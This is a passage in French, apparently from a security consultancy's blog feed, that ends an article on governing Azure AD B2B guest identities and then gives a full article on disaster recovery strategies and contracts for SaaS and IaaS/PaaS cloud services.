Dans ce scénario les utilisateurs utilisent l’application dédiée pour créer les identités « invité », en renseignant une date de fin. L’utilisateur désigne alors le propriétaire de l’identité créée.

Suppression d’une identité « invité »

Pour supprimer les identités, il est possible de déclencher un workflow automatique en amont de la date de fin, pour demander au propriétaire de l’identité en question s’il faut effectivement la supprimer ou prolonger sa date de fin. Il est à noter que si le propriétaire a quitté l’entreprise sans faire le changement de propriétaire, on peut envisager de réaffecter l’invité à son supérieur hiérarchique.

Revue des accès « invité »

Avec ce type d’application « maison », il est compliqué d’aller beaucoup plus loin dans la gestion du cycle de vie, et notamment quand il s’agit de revue des accès.

Il est toujours possible comme pour le scénario 1 de faire expirer les accès des invités ou d’utiliser la fonctionnalité « Guest Access review » (avec les mêmes contraintes qu’énoncé précédemment).

Pour aller plus loin, on peut également envisager l’utilisation d’outils tiers type IDECSI ou Sharegate qui permettent notamment de gérer ces revues d’accès de façon automatique et intuitive.

Ce scénario change le comportement natif et permet de mieux maitriser le cycle de vie, mais à un coup important au regard du déploiement et de la conduite du changement à mettre en œuvre.

Scénario 2’ – Intégrer les identités « invité » dans les processus IAM classiques

Le dernier scénario à considérer est une variante du scénario précédent, où l’entreprise souhaite toujours avoir la main sur la gestion du cycle de vie des identités « invité ». L’entreprise peut dans ce cas intégrer la gestion des identités « invités » dans ses outils de gestion des identités et des accès (IAM), au même titre que les identités « externe ».

L’outil IAM devient alors la source autoritaire pour ce type de population, et sa gestion s’y fait directement.

Dans ce scénario comme dans le précédent il faut également positionner le paramètre de partage SharePoint sur le mode « Existing guest only ».

Création d’une identité « invité »

La création des identités se fait via les formulaires de création d’externes depuis les outils IAM, en choisissant le type « invité » pour l’identité. L’identité « invité » pourra ensuite être provisionnée automatiquement dans l’Azure AD par les outils IAM.

Suppression d’une identité « invité »

La suppression de l’identité est également faite par l’outil IAM en fonction de la date de fin positionnée, et selon les workflows déjà définis.

Revues des accès « invité »

Dans le cas où les outils IAM de l’entreprise sont utilisés pour gérer les droits sur les espaces Sharepoint, il est possible d’utiliser les capacités de revue d’accès de ces outils pour faire la revue des accès aux ressources sensibles auxquelles ont accès les identités « invité ».

Une deuxième option peut également être d’utiliser les fonctionnalités de gouvernance des accès via les solutions IAM type Sailpoint, OneIdentity ou via des solutions dédiées d’Identity and Access Governance type Brainwave ou Varonis. On peut imaginer récupérer les droits attribués directement dans l’Azure AD, et les faire vérifier aux propriétaires des ressources à travers ces outils.

Ce scénario est une variante du scénario 2, qui permet aux entreprises les plus matures sur la gestion des identités et des accès de capitaliser sur les outils et processus existant.

Enfin, ne pas négliger la surveillance de cette population exposée

En premier lieu il est pertinent de construire un reporting adapté à l’aide de KPI et tableaux de bord. Beaucoup d’informations sont disponibles nativement dans l’Azure AD (date de dernière connexion, activité sur le tenant ainsi que sur Office 365 via les « unified audit logs »). Ces informations peuvent assez simplement être exploités par exemple via Power bi pour la génération de tableaux de bord.

Ensuite, il est important de surveiller les activités de ces populations particulièrement exposées. Deux niveaux de détection peuvent être mis en place en fonction des capacités de surveillance :

• Implémenter des règles de DLP natives ou des scénarios d’alertes classiques dans la console Microsoft : certains scénarios d’alertes sont préconfigurés comme la suppression massive de documents, une élévation de privilège etc.
• Mettre en place des règles DLP avancées et des scénarios de détection ou des seuils spécifiques pour les invités avec l’appui du SOC de l’entreprise. Par exemple, le seuil de téléchargement de données autorisé pour un invité peut être inférieur à celui autorisé pour un interne.

Pour aller plus loin on peut imaginer l’utilisation du module Azure AD Identity Protection, afin de déclencher des alertes pour les invités ayant un niveau de risque élevés.

En conclusion, AAD B2B facilite grandement la collaboration, mais sa configuration nécessite d’être durcie pour réduire le niveau de risque induit par la solution

AAD B2B simplifie grandement la collaboration avec des utilisateurs externes à l’entreprise, mais induit des risques liés à l’ouverture par défaut de la solution. Pour maitriser ces risques, il est nécessaire de réduire l’ouverture, et de contrôler le cycle de vie de ces identités de façon plus ou moins avancé, en fonction de l’investissement possible sur le sujet. Enfin il faut également mettre l’accent sur leur surveillance via les outils natifs ou les outils utilisés par l’entreprise, étant donné la forte exposition de ces populations.

Cet article Bien gérer les identités « Invités » Azure AD B2B est apparu en premier sur RiskInsight.

Le secours informatique SaaS, une responsabilité du fournisseur à formaliser

Un service SaaS (Software as a Service) est un logiciel mis à disposition et directement consommable depuis Internet. Il est géré et administré par un ou plusieurs fournisseurs.  Le client n’a donc pas la latitude nécessaire pour opérer le secours (pas d’accès aux données brutes, pas d’accès aux codes sources, ni aux applicatifs pour dupliquer l’infrastructure…), il doit donc s’en remettre au bon vouloir de son fournisseur.

Un niveau de couverture du secours informatique pour SaaS variable suivant la maturité du fournisseur

Trois grandes tendances se dessinent :

• Les fournisseurs qui disposent d’un plan de secours informatique inclus
  Dans le cadre de l’offre standard, le fournisseur assure un secours sur un datacenter distant, complété généralement par des sauvegardes externalisées. Il ne s’engage néanmoins que rarement sur les délais de reprise.
  Ex : les grands acteurs du SaaS (ex : Office 365, SalesForce, SAP…) , ainsi que certains acteurs de taille intermédiaire (ex : Evernote, Xero…) ;

• Les fournisseurs qui disposent simplement d’une sauvegarde externalisée
  En tant que tel, aucun plan de secours informatique n’est clairement établi. Le client doit alors s’interroger sur la capacité du fournisseur à restaurer les sauvegardes en cas de sinistre global sur le site principal.
  Ex : Des fournisseurs de taille intermédiaire (ex : Zervant, Sellsy…) ;

• Les fournisseurs qui ne communiquent pas ou n’en disposent pas
  Le sujet du secours informatique n’est pas abordé, il est donc préférable de considérer que rien n’est fait.
  Ex : Les acteurs de petite taille sont généralement dans ce cas.

L’importance de l’aspect contractuel

Dans la très grande majorité des cas, les fournisseurs SaaS ne s’engagent pas dans leur contrat sur leur façon de gérer le secours ; même lorsque ceux-ci mettent en avant leur capacité à traiter cette problématique. En effet, les contrats comportent généralement par défaut des clauses de Force Majeure stipulant que le fournisseur n’est pas responsable de manquement aux obligations du contrat dans la mesure où ce manquement est causé par un évènement en dehors de leur contrôle raisonnable. Le risque juridique doit donc être traité lors de la souscription et ces clauses supprimées pour s’assurer un bon niveau de couverture.

Lors de la souscription, comme pour des contrats classiques, les clients doivent s’assurer que figure bien des engagements de service, en particulier pour les secours informatiques :

• Le délai de reprise (Durée Maximale d’Interruption Acceptable ou DMIA) et les pertes de données (Perte de Données Maximale Acceptable ou PDMA) en cas de sinistre;
• Le plan de secours informatique du fournisseur incluant les modalités de gestion de crise ainsi que l’obligation de conduire plusieurs tests probants par an de ce plan avec la possibilité pour le client d’accès au rapport des tests ;
• Les pénalités financières et le droit de résilier le contrat (avec en particulier la récupération des données exploitables) en cas de manquement aux engagements.

Le secours informatique du IaaS/PaaS, une mise en oeuvre et une responsabilité du client

Le IaaS (Infrastructure as a Service) est une offre standardisée et automatisée de ressources de calcul, de moyens de stockage et de ressources réseau détenus et hébergés par un fournisseur et mis à disposition au client à la demande. L’offre PaaS (Platform as a Service) est similaire à celle du IaaS, à la différence près qu’elle ne concerne que les infrastructures applicative (définitions Gartner) Contrairement au cas du SaaS, le secours reste sous la responsabilité du client dans les deux cas : les fournisseurs IaaS/PaaS mettent à disposition des ressources dans différents datacenters et le client est responsable de l’usage et de la configuration qu’il en fait. Deux solutions s’offrent aux clients utilisant ces services : confier à un prestataire son secours ou bien le gérer lui-même.

Avoir recours à un prestataire de secours, un marché peu mature

Les prestataires de secours dans le Cloud sont désignés par l’acronyme « DRaaS » pour Disaster Recovery as a Service. Initialement, les fournisseurs DRaaS proposaient d’assurer dans le Cloud le secours de votre SI « on-premise ». Mais ils proposent également aujourd’hui d’assurer le secours de vos infrastructures déjà dans le Cloud, AWS ou Azure par exemple. La maturité reste très variable selon les fournisseurs et le cloud utilisé. Certains fournisseurs DRaaS imposent que le Cloud de destination du secours soit le leur, ne permettant pas ainsi de couvrir le secours de service PaaS.

Comme avec le SaaS, pas de garanties incluses par défaut quant aux pertes de données ou au délai de reprise, il faut les négocier. Les fournisseurs promettent de pouvoir s’adapter aux exigences du client ! Pour s’assurer que le secours fonctionne, le client doit prévoir la réalisation régulière de tests probants du secours (recommandation d’une fois par an).

Réaliser soi-même son secours en utilisant les outils proposés par le fournisseur

Comme sur une infrastructure « on-premise », il est nécessaire de réfléchir et définir sa stratégie de secours dès la conception. Cette stratégie doit intégrer la capacité de réaliser des tests probants permettant d’assurer un niveau de confiance suffisant dans son plan.

La mise en place est simplifiée par les outils mis à disposition par les fournisseurs Cloud et la forte standardisation des environnements Cloud. Les grands acteurs publient dans des livres blancs les grandes lignes directrices pour mettre en place un tel projet (par exemple AWS ou Azure).

Les concepts des stratégies du secours informatique restent proches de celles pour les datacenters on-premise.

On peut en dénombrer quatre principales :

• la sauvegarde et restauration: simple sauvegarde des données et images des machines sur un site distant, restaurées en cas de sinistre ;
• la veilleuse: réplication des bases de données et mise à disposition des machines sous forme d’images prêtes à être démarrées en cas de sinistre ;
• le secours à chaud: réplication complète du site primaire (données et machines), le site de secours est sous-dimensionné en termes de performances et est prêt à monter en charge en cas sinistre ;
• le multi site (ou actif-actif): les deux sites sont identiques et se partagent la charge des utilisateurs. En cas de sinistre, le site restant peut monter en charge pour accueillir la totalité des utilisateurs.

Des solutions hybrides pouvant mieux s’adapter aux exigences de délai de reprise, coût et complexité de la solution peuvent être envisagées.

Le véritable apport du Cloud pour le secours concerne les nombreux outils mis à disposition simplifiant la mise en œuvre et le déclenchement.

La réplication des données est ainsi simplifiée pour les options de géo-réplication asynchrones (plusieurs copies répliquées dans d’autres régions). La PDMA est variable en fonction des types de données et des outils proposés. Au-delà de cette option, une redondance locale des données est presque systématiquement incluse.

La forte standardisation permet également d’automatiser la reprise : les scripts ou API mis à disposition par les fournisseurs permettent d’automatiser le déploiement des infrastructures, le redimensionnement des instances en fonction de métriques précédemment définies, la répartition des charges et du trafic ou, l’adressage IP etc… afin d’accélérer de façon significative l’activation d’un site de secours.

Les outils de surveillance et alerte qui sont également proposés visent à faciliter le Maintien en Conditions Opérationnelles (MCO) du secours et peuvent être utilisés pour détecter au plus tôt un incident voire, dans certains cas, automatiser partiellement le déclenchement du secours.

Enfin la capacité à provisionner des nouvelles ressources en quelques minutes permet de limiter l’OPEX. A stratégie équivalente, il est ainsi possible d’avoir des gains de 40 à 70% sur le coût du secours !

Vers une plus grande prise en charge par le fournisseur ?

Azure prévoit une option, courant 2017, pour assurer le secours des machines virtuelles hébergées au sein de leur plateforme via la complétion de leur service « Site Recovery ». En effet, « Site Recovery » propose à l’heure actuelle de prendre en charge le secours de site traditionnel en utilisant le cloud Azure pour accueillir le site secondaire, mais Microsoft souhaite étendre ce service au secours de leurs propres infrastructures. Cet outil permettrait un déploiement automatique du site secondaire (de type actif-passif), une réplication automatique des données et une mise en place de tests facilitée.

Cette option est passée en « public preview » fin mai 2017. Un projet équivalent n’est pas d’actualité chez les autres principaux fournisseurs IaaS/PaaS.

Le cloud face au risque systémique des fournisseurs

Le secours informatique des services hébergés dans le cloud s’aborde différemment selon le type de service utilisé. Le secours du SaaS doit être géré contractuellement et est sous la responsabilité du fournisseur tandis que le secours du IaaS/PaaS, simplifié par les outils, reste sous la responsabilité du client.

Le risque de défaillance généralisé d’une région d’hébergement d’un fournisseur existe comme le montre les derniers incidents. Même si aujourd’hui, les incidents ont été de courte durée ou avec des impacts fiables, une défaillance généralisée ne peut pas être ignorée. Reste donc à traiter la problématique de cyber-résilience. L’utilisation d’un 2^ème fournisseur cloud permet de couvrir le risque de destruction ou d’indisponibilité majeure des infrastructures du premier. Cette solution reste très complexe car la portabilité d’un fournisseur à un autre est délicate. Pour l’instant, peu d’entreprises s’y sont risquées, même si l’on peut citer l’exemple de Snapchat qui utilise le cloud Google pour sa production et prévoit d’utiliser celui d’Amazon pour son secours d’ici à 5 ans.

Cet article Le Cloud, la fin ou renouveau du secours informatique ? est apparu en premier sur RiskInsight.